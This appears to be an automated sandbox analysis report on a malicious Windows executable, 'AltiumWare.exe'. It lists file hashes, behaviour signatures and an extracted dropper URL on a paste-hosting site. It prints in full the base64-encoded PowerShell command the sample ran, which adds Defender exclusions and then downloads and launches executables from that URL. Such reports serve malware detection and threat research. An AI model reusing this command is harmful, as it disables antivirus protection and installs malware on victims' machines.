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Analysis

  • max time kernel
    67s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    24/05/2023, 07:47

General

  • Target

    AltiumWare/AltiumWare.exe

  • Size

    74KB

  • MD5

    68bf941caeb51e05927d1f1ad077d0a3

  • SHA1

    a47bf9a936106b1b72d0533f7ea37216d1364f4a

  • SHA256

    7c26bdd8f3b2868b4f10650704f4ef46d79a67acc392d536b73eb55cdd416f43

  • SHA512

    b510bedafff3683112694631efaa691594844867ec11ded37d70e538106b899df6c57b44ac68c8e2d64e2060f53ebf0c8b0792e6fbc241c0f085a87ac9408f48

  • SSDEEP

    768:Voo9JvGhCbxbbcaqc4NoacavNt/HcLngIoDSacHl7Enrwy/Gd2dfqAstDpm+a/nz:qo9JOyGsnljs71VQL

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
ps1.dropper

https://rentry.org/9mn9p/raw

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\AltiumWare\AltiumWare.exe
    "C:\Users\Admin\AppData\Local\Temp\AltiumWare\AltiumWare.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2452
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHoAdABlACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAcwBkAG4AIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAeABzAGEAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAZwBkAHcAIwA+ADsAJAB3AGMAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkAOwAkAGwAbgBrACAAPQAgACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcgBlAG4AdAByAHkALgBvAHIAZwAvADkAbQBuADkAcAAvAHIAYQB3ACcAKQAuAFMAcABsAGkAdAAoAFsAcwB0AHIAaQBuAGcAWwBdAF0AIgBgAHIAYABuACIALAAgAFsAUwB0AHIAaQBuAGcAUwBwAGwAaQB0AE8AcAB0AGkAbwBuAHMAXQA6ADoATgBvAG4AZQApADsAIAAkAGYAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4AUABhAHQAaABdADoAOgBHAGUAdABSAGEAbgBkAG8AbQBGAGkAbABlAE4AYQBtAGUAKAApADsAIABmAG8AcgAgACgAJABpAD0AMAA7ACAAJABpACAALQBsAHQAIAAkAGwAbgBrAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAIAAkAHcAYwAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJABsAG4AawBbACQAaQBdACwAIAA8ACMAcQBqAHkAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwB6AGMAbgAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBwAHcAbgAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAKAAkAGYAbgAgACsAIAAkAGkALgBUAG8AUwB0AHIAaQBuAGcAKAApACAAKwAgACcALgBlAHgAZQAnACkAKQApACAAfQA8ACMAegBkAHkAIwA+ADsAIABmAG8AcgAgACgAJABpAD0AMAA7ACAAJABpACAALQBsAHQAIAAkAGwAbgBrAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAcQBjAHYAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAGMAagB6ACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAoACQAZgBuACAAKwAgACQAaQAuAFQAbwBTAHQAcgBpAG4AZwAoACkAIAArACAAJwAuAGUAeABlACcAKQApACAAfQAgADwAIwB0AGEAcwAjAD4A"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4148

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ohhtoayo.o4a.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/2452-133-0x0000000000BA0000-0x0000000000BB8000-memory.dmp

    Filesize

    96KB

  • memory/4148-135-0x000002042D960000-0x000002042D970000-memory.dmp

    Filesize

    64KB

  • memory/4148-136-0x000002042D960000-0x000002042D970000-memory.dmp

    Filesize

    64KB

  • memory/4148-137-0x000002042FB10000-0x000002042FB32000-memory.dmp

    Filesize

    136KB

  • memory/4148-147-0x000002042D960000-0x000002042D970000-memory.dmp

    Filesize

    64KB

  • memory/4148-148-0x000002042D960000-0x000002042D970000-memory.dmp

    Filesize

    64KB

  • memory/4148-149-0x000002042D960000-0x000002042D970000-memory.dmp

    Filesize

    64KB

  • memory/4148-150-0x000002042D960000-0x000002042D970000-memory.dmp

    Filesize

    64KB

  • memory/4148-151-0x000002042D960000-0x000002042D970000-memory.dmp

    Filesize

    64KB

  • memory/4148-152-0x000002042D960000-0x000002042D970000-memory.dmp

    Filesize

    64KB